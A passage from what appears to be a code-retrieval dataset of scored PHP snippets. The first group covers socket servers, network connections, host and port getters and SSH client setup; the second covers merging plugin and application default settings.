$this->db->logservice->log($this->module_name, \"ERROR\", \"GENERAL\",$this->IP, \"Unknown device connected to the server\");\n // }\n \n $this->db->logservice->log($this->module_name, \"DEBUG\", \"EVENT\", $this->IP,\"New Device connected: $socket ($ip[0] : $ip[1])\");\n }\n \n if (sizeof($read) == 1) \n {\n return;\n }\n }\n }\n\n // foreach client that is ready to be read \n foreach ($read as $client) \n {\n // we don't read data from the master socket\n if ($client != $this->master) \n {\n //Set read timeout to recover the device manager when read blocks\n // stream_set_timeout($client, 180);\n $input = @fread($client, 1024);\n /* $info = stream_get_meta_data($client);\n if ($info['timed_out'])\n {\n $this->db->logservice->log($this->module_name, \"ERROR\",\"EVENT\", $this->IP,\"Stream read timed out for $client\");\n continue;\n //Read timed out. Continue to next client\n }\n */\n if($client == $this->udp)\n {\n // if($input === \"wakeup\")\n // {\n // $this->db->logservice->log($this->module_name, \"DEBUG\",\"EVENT\", $this->IP,\"Got UDP trigger : $input\");\n // $this->send_connected_device_messages();\n // }\n // else if($input === \"cleanup\")\n // {\n // $this->db->logservice->log($this->module_name, \"DEBUG\",\"EVENT\", $this->IP, \"Got cleanup trigger : $input\");\n // $this->cleanup_zombie_devices();\n // }\n // else\n // {\n // $this->db->logservice->log($this->module_name, \"ERROR\", \"ALARM\",$this->IP, \"Wrong UDP Message : $input\");\n // }\n }\n else\n {\n $info = stream_get_meta_data($client);\n // if socket_read() returned false, the client has been disconnected\n if ((strlen($input) == 0) && ($info['eof'] == 1)) \n {\n if (in_array($client, $this->clients)) \n {\n // deregistering the device\n $device_id = $this->get_device_id($client);\n $this->db->logservice->log($this->module_name, \"DEBUG\", \"GENERAL\",$this->IP, \"Device $device_id closed connection\");\n $this->device_deregistration(\"$DEVICE_DEREG_MSG $device_id \\r\\n\", FALSE); \n $this->relist_missed_notification_messages($device_id);\n \n }\n // disconnect client\n $this->disconnect_device($client);\n }\n else // else, we received a normal message \n {\n $inx = 0;\n $parsed = str_getcsv($input, \"\\r\\n\");\n $str_count = count($parsed);\n while ($inx != $str_count) \n {\n //Remove whitespaces at the beginning and end of string\n $data = trim($parsed[$inx]);\n $inx++;\n //Replace the NULL character with space\n $data = str_replace(\"\\0\", \" \", $data);\n if ($data == \"\" || $data == \" \" || $data == \"\\n\" || $data == \"\\r\\n\")\n continue;\n if (in_array($client, $this->clients))\n $this->identify_device_message($data, $client);\n }\n }\n }\n }\n }\n }", "title": "" }, { "docid": "2deefeead80e8fc5453c73fcdf4f24f0", "score": "0.47036102", "text": "public function getConnection()\n {\n return $this->connectionInstance ?? static::resolveConnection($this->getConnectionName());\n }", "title": "" }, { "docid": "1afb5f58445b12e2125b5f05ecf8d41a", "score": "0.46991113", "text": "public function getRemotePort()\n {\n return $this->remote_port;\n }", "title": "" }, { "docid": "1521abc582f2a3fd3aa2b10056ab2bfb", "score": "0.4680697", "text": "public function getConnectionForKey($key = '')\n {\n $virtual = $this->getVirtualShard($key);\n $real = $this->getRealShard($virtual);\n\n return $this->getShardConnection($real);\n }", "title": "" }, { "docid": "23521e86b9ae5480e997ca661ba499a1", "score": "0.4635776", "text": "protected function getSocketArgument()\n {\n if ($this->socket != '') {\n return '--socket=' . $this->socket;\n }\n\n return '';\n }", "title": "" }, { "docid": "ab3885551029b28bfef592365f51f325", "score": "0.4631903", "text": "public function getAddress(): string\n {\n return 'tcp://' . $this->host . ':' . $this->port;\n }", "title": "" }, { "docid": "77217cda79a2a6132720f41ebd93ddcb", "score": "0.46285442", "text": "public static function first()\n {\n return self::$connections[\n array_keys(self::$connections)[0]\n ];\n }", "title": "" }, { "docid": "5394dc0d27969288b587212a51dda39f", "score": "0.46284953", "text": "protected function getCommunication()\n\t{\n\t\tif( !isset( $this->communication ) ) {\n\t\t\t$this->communication = new \\Aimeos\\MW\\Communication\\Curl();\n\t\t}\n\n\t\treturn $this->communication;\n\t}", "title": "" }, { "docid": "6c073a1abc6c89e4d1d5c9fafc3a8593", "score": "0.46261525", "text": "public function get_socket_status() {\n\t\treturn $this->socket_status;\n\t}", "title": "" }, { "docid": "f20e838621ae4f60b1bebb2492e4854d", "score": "0.4621606", "text": "function get_sockets( $tag = null )\n\t/* ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- */ \n {\n $sockets = [];\n\n //We might edit connected_servers during the process\n\n reset($this->connected_servers);\n while( list($key, $connected) = each($this->connected_servers) ) {\n //foreach( $this->connected_servers as $key => $connected ) {\n\n if( $this->servers[$key]->type === SERVER_TYPE_SOLDAT )\n {\n if( $this->servers[$key]->ping() === false ) {\n\n //release_game_server() -> server_disconnect() is the 'nice' behavior\n //bypass it here to kill() the server instead\n $this->game_server_kill( $key ); \n\n continue; //server dc'ed probably\n } \n //Could store ping here...\n } \n \n $sockets[] = $this->servers[$key]->sock;\n }\n\n return array_values( $sockets );\n }", "title": "" }, { "docid": "e87a45b5aede5c60e0f7dc2514c65f9e", "score": "0.46026796", "text": "private function getHost() {\n\t\t$request = <<<DATA\n<server>\n\t<get>\n\t\t<gen_info/>\n\t</get>\n</server>\nDATA;\n\n\t\t$resp = pm_ApiRpc::getService()->call($request);\n\n\n\t\treturn $resp->server->get->result->gen_info->server_name;\n\t}", "title": "" }, { "docid": "e609529c9509a5be2622691c88671959", "score": "0.46025428", "text": "abstract public function getPort();", "title": "" }, { "docid": "4624b619e888ced777d5b7ae84db3556", "score": "0.45940995", "text": "public function getCurrentConnection()\n {\n return $this->_currentConnection;\n }", "title": "" }, { "docid": "d390304dccc77d7e60e3caf9d7df275b", "score": "0.4585692", "text": "public function getGateway()\n {\n if (!$this->gateway->connected() && !$this->gateway->connect($this->getUsername())) {\n throw new RuntimeException('Unable to connect to remote server.');\n }\n\n return $this->gateway;\n }", "title": "" }, { "docid": "86d05d34d575af5793170d7bea7efcd2", "score": "0.458239", "text": "public function getDedicatedConnection() {\n return $this->getPool()->createClient(false);\n }", "title": "" }, { "docid": "22bee53d2790f2654a95c6e13c1c1c93", "score": "0.4578771", "text": "protected function _getServerPid() \n {\n $pid = exec( 'lsof -n -i:8000 | awk \\'/php/{print $2}\\'' );\n /*print \"\\npid $pid\\n\";*/\n return $pid;\n }", "title": "" }, { "docid": "c52e2ba029ee0d9cee9782904db299c6", "score": "0.45767182", "text": "public function getWriteSockets() {\n list($stdin, $stdout, $stderr) = $this->pipes;\n $sockets = array();\n if (isset($stdin) && $this->stdin->getByteLength() && !feof($stdin)) {\n $sockets[] = $stdin;\n }\n return $sockets;\n }", "title": "" }, { "docid": "c50b9b5532cdb6ba3b5cd5a05ebb084f", "score": "0.45675793", "text": "function openSpopSocket($host, $portSpop) {\n\t$sock = stream_socket_client('tcp://'.$host.':'.$portSpop.'', $errorno, $errorstr, 30 );\n\n\tif ($sock) {\n\t\t// First response is typically \"spop [version]\"\n\t\t$response = fgets($sock);\n\n\t}\n\n\treturn $sock;\n}", "title": "" }, { "docid": "7b0e9fb972a486d8169a36d2d43c04fe", "score": "0.45666087", "text": "public static function get_port() { return self::$port; }", "title": "" }, { "docid": "a3f3d0f4bec970d7049695b21332b801", "score": "0.45575103", "text": "public function connection()\n\t{\n\t\treturn Redis::connection('swoole');\n\t}", "title": "" }, { "docid": "541ab18969c17b91dd01379f5347804a", "score": "0.4556599", "text": "public function getHostWithPort ()\n {\n if ( !$this->hostExists() )\n throw new \\r8\\Exception\\Interaction(\"Host must be set\");\n\n if ( $this->portExists() )\n return $this->host .\":\". $this->port;\n else\n return $this->host;\n }", "title": "" }, { "docid": "273d64b5828a7ecce0d58d8ad561ef9f", "score": "0.45452547", "text": "public function getPort() {}", "title": "" }, { "docid": "9f5235e9aebf03eca97e01e5b589f032", "score": "0.45351112", "text": "private function init() {\r\n\r\n $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\r\n\r\n socket_set_option($this->socket, SOL_SOCKET, SO_REUSEADDR, 1);\r\n socket_bind($this->socket, 0, $this->port);\r\n socket_listen($this->socket);\r\n\r\n //Add main socket to clientlist\r\n $this->clients[] = $this->socket;\r\n }", "title": "" }, { "docid": "51de372c1af8b0ce73e86c022cf24b8c", "score": "0.45276394", "text": "public function getConnection()\n {\n return static::resolveConnection($this->connection);\n }", "title": "" }, { "docid": "70fe03e161fafec8c835ee287025150e", "score": "0.45153376", "text": "public function getSubnetwork()\n {\n return $this->subnetwork;\n }", "title": "" }, { "docid": "70fe03e161fafec8c835ee287025150e", "score": "0.45153376", "text": "public function getSubnetwork()\n {\n return $this->subnetwork;\n }", "title": "" }, { "docid": "6703c55376f579f4294d16eff07a2f94", "score": "0.44906408", "text": "public function get_current_connection() {\n\t\treturn isset( $this->currentConnection ) ? $this->currentConnection : null;\n\n\t}", "title": "" }, { "docid": "f84ab6a3ccf79a3e7303e89f35634645", "score": "0.44889185", "text": "public function server($key)\n {\n return isset($_SERVER[$key]) ? $_SERVER[$key] : null;\n }", "title": "" }, { "docid": "88b559703516b2cae9f82c1b18e35413", "score": "0.44817477", "text": "protected function getCurrentConnection()\n {\n return ($this->connection) ?: $this->defaultConnection;\n }", "title": "" }, { "docid": "d1c420a9e3b8f27fc20453dc77b2e43e", "score": "0.4473754", "text": "public function getSSH()\n {\n return $this->_ssh;\n }", "title": "" }, { "docid": "d1c420a9e3b8f27fc20453dc77b2e43e", "score": "0.4473754", "text": "public function getSSH()\n {\n return $this->_ssh;\n }", "title": "" }, { "docid": "c539392417fdf67a5a4906783fdf0872", "score": "0.44714844", "text": "public static function get($descriptor=__FILE__)\n {\n return self::$CLIENT;\n }", "title": "" }, { "docid": "6bc77ac6602768067af0e7f9c7d34ff9", "score": "0.4458122", "text": "function connect() {\n $this->state = 'connecting';\n\n if ($this->ipv == 4) {\n $this->sock = $this->pSockets->createTCP($this, 'handleRead', 'handleError', 1, 'handleConnected', 1, $this->bind);\n } else {\n $this->sock = $this->pSockets->createTCPv6($this, 'handleRead', 'handleError', 1, 'handleConnected', 1, $this->bind);\n }\n\n if (!$this->sock) {\n die(\"IRC Couldn't create socket\");\n }\n\n //TODO Make this config variable\n $this->pSockets->setReconTime($this->sock, 65);\n\n $a = $this->pSockets->getOurAddr($this->sock);\n $p = $this->pSockets->getOurPort($this->sock);\n\n echo \"IRC Local IP/PORT: $a/$p\\n\";\n echo \"IRC Connecting to Host: $this->server Port: $this->port IPv$this->ipv\\n\";\n\n if (!$this->pSockets->connect($this->sock, $this->server, $this->port, $this->timeout)) {\n list($errno, $errstr) = $this->pSockets->getLastErr($this->sock);\n echo \"IRC Error connecting [$errno] $errstr (ignoring)\\n\";\n }\n\n $this->pSockets->setRTO($this->RTO, $this->sock);\n }", "title": "" }, { "docid": "adaa42f87b484911c11d83adbb948c6a", "score": "0.445383", "text": "abstract public function getHost();", "title": "" }, { "docid": "0f77bfdb7bcc858e88abe1da56373052", "score": "0.44525623", "text": "public function get_connection();", "title": "" }, { "docid": "c0de8c1bde4436aa50e2e5fa55b03722", "score": "0.4450614", "text": "public function getConn()\n {\n return $this->conn;\n }", "title": "" }, { "docid": "f84674f28727864697608beb410a7812", "score": "0.4448992", "text": "public function provideSocketData()\n\t{\n\t\t$noSock = array('host'=>'us', 'user'=>'me','pass'=>'you','name'=>'db');\n\t\t$emptySock = array_merge($noSock, array('socket' => ''));\n\t\t$objSock = array_merge($noSock, array('socket' => new StdClass()));\n\t\t$arraySock = array_merge($noSock, array('socket' => array(1,2,3)));\n\t\t$strNbrSock = array_merge($noSock, array('socket' => '12345'));\n\t\t$intSock = array_merge($noSock, array('socket' => 3308));\n\t\t$validSock = array_merge(\n\t\t\t$noSock, \n\t\t\tarray('socket' => '/tmp/mysql.sock')\n\t\t);\n\t\treturn array(\n\t\t\tarray($noSock,\t\tnull),\n\t\t\tarray($emptySock,\tnull),\n\t\t\tarray($objSock,\t\tnull),\n\t\t\tarray($arraySock,\tnull),\n\t\t\tarray($strNbrSock,\t'12345'),\n\t\t\tarray($intSock,\t\tnull),\n\t\t\tarray($validSock,\t'/tmp/mysql.sock'),\n\t\t);\n\t}", "title": "" }, { "docid": "65daa2d4a5c7268d2ffa7a53e93ac278", "score": "0.44482493", "text": "public function createSocket($host, $port){\n\t\tif(($this->master = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {\n\t\t\tdie(\"socket_create() failed, reason: \" . socket_strerror($this->master).\"\\n\");\n\t\t}\n\t\t\n\t\techo \"Socket {$this->master} created.\";\n\t\t\n\t\tsocket_set_option($this->master, SOL_SOCKET, SO_REUSEADDR, 1);\n\t\t#socket_set_option($master,SOL_SOCKET,SO_KEEPALIVE,1);\n\t\t\n//\t\tvar_dump($host, $port);\n\t\t\n\t\tif (($ret = socket_bind($this->master, $host, $port)) < 0) {\n\t\t\tdie(\"socket_bind() failed, reason: \" . socket_strerror($ret).\"\\n\");\n\t\t}\n\t\t\n\t\techo \"Socket bound to {$host}:{$port}.\\n\";\n\t\t\n\t\tif (($ret = socket_listen($this->master, 5)) < 0) {\n\t\t\tdie(\"socket_listen() failed, reason: \" . socket_strerror($ret).\"\\n\");\n\t\t}\n\t\t\n\t\techo 'Start listening on Socket.'.\"\\n\";\n\t\t\n\t\t$this->allsockets[] = $this->master;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "d327ce2982a0fb6c4fd5e1c92470cb27", "score": "0.44457033", "text": "function getHost() {\n $host = ( isset( $this->_server[ 'HTTP_HOST' ] ) ) ?\n $this->_server[ 'HTTP_HOST' ] :\n $this->_server[ 'SERVER_NAME' ];\n return $this->h( $host );\n }", "title": "" }, { "docid": "adff09000d82c1db9b0b9b12aff57cef", "score": "0.44444183", "text": "private function connectSocket(){\n\t\t/* Create a TCP/IP socket. */\n\t\t$this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n\t\tif ($this->socket === false) {\n\t\t\t//echo \"[CLIENT] socket_create() failed: reason: \" . socket_strerror(socket_last_error()) . \"\\n\";\n\t\t\treturn;\n\t\t}\n\t\t$result = socket_connect($this->socket, $this->address, $this->serviceport);\n\t\tif ($result === false) {\n\t\t\treturn;\n\t\t} else {\n\t\t\treturn;\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "f439f229fa0dc608a21fe305f27ed8cd", "score": "0.4433125", "text": "public function getCli()\n {\n $credentials = $this->getCredentials();\n foreach ($credentials as $credential) {\n // Attempt to connect using Metaclassing\\SSH library.\n try {\n $cli = $this->getSSH1($this->ip, $credential->username, $credential->passkey);\n } catch (\\Exception $e) {\n //If that fails, attempt to connect using phpseclib\\Net\\SSH2 library.\n }\n if ($cli) {\n $this->credential_id = $credential->id;\n //$this->save();\n\n return $cli;\n }\n }\n }", "title": "" }, { "docid": "2042d691b81524858e4a5ed92a38d3e9", "score": "0.443289", "text": "public function getConnectionBySlot($slot)\n {\n if ($slot < 0x0000 || $slot > 0x3FFF) {\n throw new OutOfBoundsException(\"Invalid slot [$slot].\");\n }\n\n if (isset($this->slots[$slot])) {\n return $this->slots[$slot];\n }\n\n $connectionID = $this->guessNode($slot);\n\n if (!$connection = $this->getConnectionById($connectionID)) {\n $connection = $this->createConnection($connectionID);\n $this->pool[$connectionID] = $connection;\n }\n\n return $this->slots[$slot] = $connection;\n }", "title": "" }, { "docid": "bf73a08b7e07af4c393a1b165d1a409c", "score": "0.44315335", "text": "public function getChild() {\n return $this->child;\n }", "title": "" }, { "docid": "7a1fdcc6386c1b2e9d9e955420d7ff83", "score": "0.44145268", "text": "public function handleAccept($socket);", "title": "" }, { "docid": "2ee9622ceac1bf5aaf5bb7a50a5f2fc8", "score": "0.441149", "text": "function socket_recv_from ($socket, &$buf, $len, $flags, &$name, &$port = null)\n{\n return socket_recvfrom($socket, $buf, $len, $flags, $name, $port);\n}", "title": "" }, { "docid": "67069a05e2c1be8a2d7dce7e937fd5b4", "score": "0.440992", "text": "public function accept()\n\t{\n\t\t$socket = socket_accept($this->resource);\n\n\t\tif (false === $socket) {\n $error = socket_last_error($this->resource);\n $message = socket_strerror($error);\n\t\t\tthrow new Exception($message);\n\t\t}\n\n\t\treturn new Socket($socket);\n\t}", "title": "" }, { "docid": "9bd0f2e6fea8b1fbc7be5ae8055a8bbb", "score": "0.44029832", "text": "protected function get_db()\n\t{\n\t\treturn $this->connections['primary'];\n\t}", "title": "" }, { "docid": "de61e3d8980c509486ae1fb14ad46454", "score": "0.44007236", "text": "public function getHandle()\n {\n return $this->handle;\n }", "title": "" } ]
49189746af4bd3eb7f2c28fa38c003e7
Merge the updated settings with the default values The settings override the defaults
[ { "docid": "23f030aac04bb563a42866cc11dbbeb5", "score": "0.6396397", "text": "protected function mergeSettings($defaults, $settings)\n {\n foreach (['report', 'response'] as $type) {\n if (!isset($settings[$type]) || !$settings[$type]) {\n unset($defaults[$type]);\n continue;\n }\n\n $setting = $settings[$type];\n\n if (isset($setting['dueDate'])) {\n $defaults[$type]['dueDate'] = $setting['dueDate'];\n }\n if (isset($setting['time'])) {\n $defaults[$type]['time'] = $setting['time'];\n }\n if (isset($setting['timezone'])) {\n $defaults[$type]['timezone'] = $setting['timezone'];\n }\n }\n\n return $defaults;\n }", "title": "" } ]
[ { "docid": "bb1e62f8869c4fe8940050be5ff29178", "score": "0.7125607", "text": "private function _merge_defaults()\n\t{\n\t\tforeach(self::defaults() as $name => $default)\n\t\t{\n\t\t\tif ($this->sub_command == 'delete_ldap' && in_array($name,array('ldap_base','ldap_context')))\n\t\t\t{\n\t\t\t\tcontinue;\t// no default on what to delete!\n\t\t\t}\n\t\t\tif (!$this->$name)\n\t\t\t{\n\t\t\t\t//echo \"<p>setting $name='{$this->$name}' to it's default='$default'</p>\\n\";\n\t\t\t\t$this->set_defaults[$name] = $this->$name = $default;\n\t\t\t}\n\t\t\tif (strpos($this->$name,'$') !== false)\n\t\t\t{\n\t\t\t\t$this->set_defaults[$name] = $this->$name = str_replace(array(\n\t\t\t\t\t'$domain',\n\t\t\t\t\t'$suffix',\n\t\t\t\t\t'$base',\n\t\t\t\t\t'$admin_pw',\n\t\t\t\t),array(\n\t\t\t\t\t$this->domain,\n\t\t\t\t\t$this->ldap_suffix,\n\t\t\t\t\t$this->ldap_base,\n\t\t\t\t\t$this->ldap_admin_pw,\n\t\t\t\t),$this->$name);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "77e8ff6d249ae1f3137d6aecb32c1a0f", "score": "0.7076489", "text": "private function fillConfigDefaults()\n {\n // we want these keys to directly overwritten. For example, when we set module middleware, we do not want those to be merged with default values.\n $keysToPreserve = [\n 'routes.middleware',\n ];\n\n foreach ($this->configAll as $key => &$options) {\n\n # $key here is the module name. e.g. 'user'\n\n $preservedItems = [];\n\n // array_replace_recursive() ahead will 'merge' the module options with defaults.\n // However we want some keys to be preserved, if they are spceficied.\n // Therefore we cache preserved values here and later replace them back.\n foreach ($keysToPreserve as $optionKey) {\n if (array_has($options, $optionKey)) {\n $preservedItems[$optionKey] = array_get($options, $optionKey);\n }\n }\n\n // extend defaults with this module, save the result to this module's config.\n $options = array_replace_recursive($this->configDefaults, $options);\n\n # now all the data is replaced and merged in a way we do not want for some keys.\n // revert preserved data into initial status\n foreach ($preservedItems as $itemKey => $preservedItem) {\n array_set($options, $itemKey, $preservedItem);\n }\n }\n }", "title": "" }, { "docid": "bbcf2a92633d21421a082d683dcc916c", "score": "0.7057894", "text": "function saveDefaultSettings() {\n foreach($this->defaultSettings as $key=>$value) {\n update_option($key,$value);\n }\n }", "title": "" }, { "docid": "974bdc7a0c08316f3f4bd7a4d4d1bb75", "score": "0.68954176", "text": "private function _merge_defaults()\n\t{\n\t\tforeach(self::defaults() as $name => $default)\n\t\t{\n\t\t\tif (!$this->$name)\n\t\t\t{\n\t\t\t\t//echo \"<p>setting $name='{$this->$name}' to it's default='$default'</p>\\n\";\n\t\t\t\t$this->set_defaults[$name] = $this->$name = $default;\n\t\t\t}\n\t\t\tif (strpos($this->$name,'$domain') !== false)\n\t\t\t{\n\t\t\t\t// limit names to 16 chars (16 char is user-name limit in MySQL)\n\t\t\t\t$this->set_defaults[$name] = $this->$name =\n\t\t\t\t\tsubstr(str_replace(array('$domain','.','-'),array($this->domain,'_','_'),$this->$name),\n\t\t\t\t\t0,self::MAX_DB_NAME_LEN);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "1e6ad63d37edc0035b4ad01cb000359a", "score": "0.6604666", "text": "public function applyDefaultValues()\n {\n $this->a_bot = '0';\n $this->approval_pengguna = '0';\n $this->aktif = '1';\n $this->last_sync = '1901-01-01 00:00:00';\n }", "title": "" }, { "docid": "5a0d9efb28b488f3e1b25fdf420c0086", "score": "0.65977085", "text": "function setDefaultSiteSettings()\n {\n $old_version = $this->getOldVersion();\n include 'arrays/setDefaultSettings.php';\n foreach ($defaultSiteSettings as $ver => $settings) {\n if ($ver == $old_version) {\n //we have done all the needed default changes.\n break;\n }\n\n foreach ($settings as $setting => $value) {\n //manually add to counter since we aren't going through execute.\n if ($this->state == 'calculating') {\n $this->totalQueries = isset($this->totalQueries) ? ($this->totalQueries + 1) : 1;\n } else {\n $this->currentQuery = isset($this->currentQuery) ? ($this->currentQuery + 1) : 1;\n }\n\n if ($this->state != \"calculating\") {\n // There has [NOT]been 1% progress\n //$this->lastPercent = intval(($this->currentQuery/$this->totalQueries) * 100 );\n echo '|';\n ob_flush();\n flush();\n $this->setTimeLimit(30);\n\n $this->db->set_site_setting($setting, $value, true);\n }\n }\n }\n }", "title": "" }, { "docid": "444f2fa62d21e599b7088f6d9da49b50", "score": "0.65839887", "text": "protected function setDefaults()\n {\n \n \n }", "title": "" }, { "docid": "c85faecb5d7af7203277d27e518855f7", "score": "0.6542582", "text": "function setDefaults()\r\n {\r\n if ($this->theme == null)\r\n $this->setTheme($this->config->getConfigValue('default_theme'));\r\n if ($this->toolbars == null)\r\n $this->addToolbarSet($this->config->getConfigValue('default_toolbarset'));\r\n if ($this->stylesheet == null)\r\n $this->setStylesheet($this->config->getConfigValue('default_stylesheet'));\r\n if ($this->width == null)\r\n $this->setDimensions($this->config->getConfigValue('default_width'), null);\r\n if ($this->height == null)\r\n $this->setDimensions(null, $this->config->getConfigValue('default_height'));\r\n if ($this->lang == null)\r\n $this->setLanguage($this->config->getConfigValue('default_lang'), $this->config->getConfigValue('default_output_charset'));\r\n }", "title": "" }, { "docid": "2750b830b767d51f528909f1857be2eb", "score": "0.65329885", "text": "public function eme_set_default_values() {\n include( 'defaults.php' );\n }", "title": "" }, { "docid": "602da15109ae0ea96ab5e7d0c1688594", "score": "0.6475691", "text": "public function applyDefaultValues()\n\t{\n\t\t$this->is_active = true;\n\t\t$this->is_hidden = false;\n\t}", "title": "" }, { "docid": "092524531a467ca0c4f8e08ee3803e3a", "score": "0.6451699", "text": "function config_ResetToDefault() {\n $newconfig = config_GetDefaults();\n $config = get_option('postie-settings');\n $save_keys = array('mail_password', 'mail_server', 'mail_server_port', 'mail_userid', 'input_protocol');\n foreach ($save_keys as $key) {\n $newconfig[$key] = $config[$key];\n }\n update_option('postie-settings', $newconfig);\n config_Update($newconfig);\n return $newconfig;\n}", "title": "" }, { "docid": "e31b9c9e4409506e1a86232d7d20f010", "score": "0.64316666", "text": "public function mergeSettings($settings = array()) {\n\t \t\n\t \treturn $this->settings = array_merge(array(\n \t\t\t'allow' => array(),\n \t\t\t'disallow' => array(),\n \t\t\t'logout_redirect' => '/wp-login.php',\n \t\t\t'login_redirect' => home_url(),\n \t\t\t'mask_wp_login' => false\n\t\t\t), $settings);\n\n\t\t}", "title": "" }, { "docid": "358080bdd1320313d2bf0fdaa7ab9152", "score": "0.64256215", "text": "protected function mergeSettings()\n {\n $settings = $this->arguments['settings'];\n\n $tsSettings = $this->configurationManager->getConfiguration(\n ConfigurationManagerInterface::CONFIGURATION_TYPE_SETTINGS,\n 'Agora',\n 'Forum'\n );\n ArrayUtility::mergeRecursiveWithOverrule($tsSettings, (array)$settings);\n\n return $tsSettings;\n }", "title": "" }, { "docid": "4c8446bc0cfd87c04b461004623a3c37", "score": "0.6418554", "text": "public function set_defaults() {\n $this->data = $this->default_data;\n $this->changes = array();\n $this->set_object_read( false );\n }", "title": "" }, { "docid": "2855480dcc5762176d2b17f0ca12e544", "score": "0.64161915", "text": "public function applyDefaultValues()\n {\n $this->has_video = true;\n $this->is_out_of_stock = false;\n $this->is_active = true;\n $this->is_voucher = false;\n $this->is_discountable = true;\n }", "title": "" }, { "docid": "6679965f343c9bd40c4c82e3da099f35", "score": "0.64033043", "text": "function bzmndsgn_reinitialize_default_data () {\n\n\tif ( ! current_user_can ( 'manage_options' ) ) {\n\t\twp_die ( 'You do not have permission to update these settings.' ) ;\n\t}\n\n\tcheck_admin_referer ( 'bzmndsgn_reinitialize_default_data' ) ;\n\n\t__bzmndsgn_reinitialize_default_data () ;\n\n\t_bzmndsgn_form_redirect('The default plugin configuration has been successfully reinitialized.');\n\n\texit ;\n\n}", "title": "" }, { "docid": "219dce81fa06471b4406520d3d807317", "score": "0.63643867", "text": "public function applyDefaultValues()\n\t{\n\t}", "title": "" }, { "docid": "6b588371a53264db9838e8d51b5e8998", "score": "0.6350042", "text": "public static function add_default_options() {\n $settings = get_option( 'community_directory_settings', array());\n\n $options = array(\n 'uninstall_erase_data' => 0,\n 'load_locations_nav_menu' => 1,\n 'load_my_location_nav_menu' => 1,\n );\n\n foreach ($options as $option => $value){\n if (!isset($settings[$option])) {\n $settings[$option] = $value;\n }\n }\n\n update_option( 'community_directory_settings', $settings );\n }", "title": "" }, { "docid": "da45872a2e467bd3b81d0b64833e3673", "score": "0.6328919", "text": "function setDefaults(){\n if (isset($this->_template)) {\n foreach ($this->defaults as $name => $value) {\n $this->set($name, $value);\n }\n }\n }", "title": "" }, { "docid": "889af6fc7fbe139def018b96410251df", "score": "0.63276297", "text": "public function applyDefaultValues()\n\t{\n\t\t$this->wholesale_price = '0.000000';\n\t\t$this->price = '0.000000';\n\t\t$this->ecotax = '0.000000';\n\t\t$this->quantity = 0;\n\t\t$this->weight = 0;\n\t\t$this->unit_price_impact = '0.00';\n\t\t$this->default_on = false;\n\t\t$this->minimal_quantity = 1;\n\t}", "title": "" }, { "docid": "cab64905f4aa830a37454e10eb6a9c7a", "score": "0.6301103", "text": "protected function _setDefaultValues() {\n\t\t\n\t}", "title": "" }, { "docid": "7a43d8299dfe842352624a67499b7711", "score": "0.6300795", "text": "protected function setDefaultValues()\n {\n $config = wcmConfig::getInstance();\n\n parent::setDefaultValues();\n $this->allowOptimisticLock = intval($config['wcm.default.optimisticLock']);\n }", "title": "" }, { "docid": "59c5faf94325a83186b6e463ee414759", "score": "0.62948024", "text": "public function set_default_settings() {\n\n\t\tif ( get_option( 'blox_settings' ) != false ) {\n\n\t\t\t// The option already exists so bail...\n\t\t\treturn;\n\t\t} else {\n\n\t\t\t// The option does not exist, so add it.\n\t\t\tadd_option( 'blox_settings' );\n\n\t\t\t// Get and set the default settings\n \t$settings = $this->get_registered_settings();\n $settings = $this->get_registered_settings_degrouped( $settings );\n \t$tabs = $this->get_settings_tabs();\n\t\t\t$defaults = array();\n\n\t\t\tforeach ( $tabs as $tab => $tab_name ) {\n\t\t\t\tif ( ! empty( $settings[$tab] ) ) {\n\t\t\t\t\tforeach ( $settings[$tab] as $key => $value ) {\n\t\t\t\t\t\tif ( ! empty( $value[ 'default' ] ) ) {\n\t\t\t\t\t\t\t$defaults[$key] = $value[ 'default' ];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Update the option with the defaults\n\t\t\tupdate_option( 'blox_settings', $defaults );\n\t\t}\n\t}", "title": "" }, { "docid": "02cedff2c69228f73521383118dc14a6", "score": "0.6274936", "text": "abstract public function setDefaults();", "title": "" }, { "docid": "915b158ce856f68b2855baa8c3cf4c3a", "score": "0.6273787", "text": "public function populateDefaults()\n {\n parent::populateDefaults();\n }", "title": "" }, { "docid": "1fad95f296d992d835261c5447ef1e2f", "score": "0.627026", "text": "public function applyDefaultValues()\n {\n $this->isbonusmatch = false;\n $this->status = 0;\n }", "title": "" }, { "docid": "4e4fedd8fcb3c5303451d6930c5bdb5a", "score": "0.6265933", "text": "private function fillTransDefaults()\n {\n // extend defaults with this module, save the result to this module's trans.\n $this->trans = array_replace_recursive($this->trans, trans(\"std-admin::modules._defaults\"));\n }", "title": "" }, { "docid": "3471482c6ca5a706673d1728b2b13fcc", "score": "0.6252963", "text": "protected function overrideDefaultConfiguration()\n {\n\n }", "title": "" }, { "docid": "5490bf44f06e622113730712c7597cdc", "score": "0.6250155", "text": "public function default(){ \n\t\t$default_settings = $this->crud->readData('option_name, option_value', 'options', array('option_id'=> 23))->row_array();//Default theme setting option_id = 23 \n\t\tif(!empty($default_settings)) {\n\t\t\t$update_data['option_value'] = $default_settings['option_value'];\n\t\t\t// Set current theme as a default settings option_id = 22 current theme settings.\n\t\t\tif($this->crud->updateData('options', $update_data, array('option_id' => 22))) {\n\t\t\t\t$this->update_css_file(json_decode($default_settings['option_value'], TRUE));\n\t\t\t\techo json_encode(array('status' => 'success', 'message' => $this->lang->line('success_message_theme_setting_reset_default')));\n\t\t\t} else {\n\t\t\t\techo json_encode(array('status' => 'error', 'message' => $this->lang->line('error_message_something_went_wrong')));\n\t\t\t}\n\t\t} else {\n\t\t\techo json_encode(array('status' => 'error', 'message' => $this->lang->line('error_message_something_went_wrong')));\n\t\t}\n\t}", "title": "" }, { "docid": "699ae879892f7f67e7000484ff94d80c", "score": "0.6228374", "text": "abstract protected function updateDefaultsFromObject();", "title": "" }, { "docid": "d1e7d7b05985a7cc2dc69d5911521dce", "score": "0.6225214", "text": "public function initialize_settings()\n {\n\n $default_settings = array();\n foreach ($this->settings as $id => $setting) {\n if ($setting['type'] != 'heading') $default_settings[$id] = $setting['std'];\n 